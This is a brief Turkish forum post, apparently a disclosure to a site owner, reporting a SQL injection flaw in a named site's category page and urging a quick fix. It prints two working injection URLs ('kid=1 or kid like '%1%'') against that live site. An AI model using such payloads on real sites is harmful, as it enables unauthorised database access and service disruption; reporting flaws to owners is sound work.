evet ilk bulduğun sql injectionu ve sunucuyu sonsuz döngüye sokabilecek büyüklükteki açığı paylaşıyorum
http://www.neindirsem.com/kategori.asp?kid=1%20or%20kid%20like%20'%1%
buna hemen el atmalısın
edit: http://www.neindirsem.com/kategori.asp?kid=1%20or%20kid%20like%20'%1%' birde bu hali var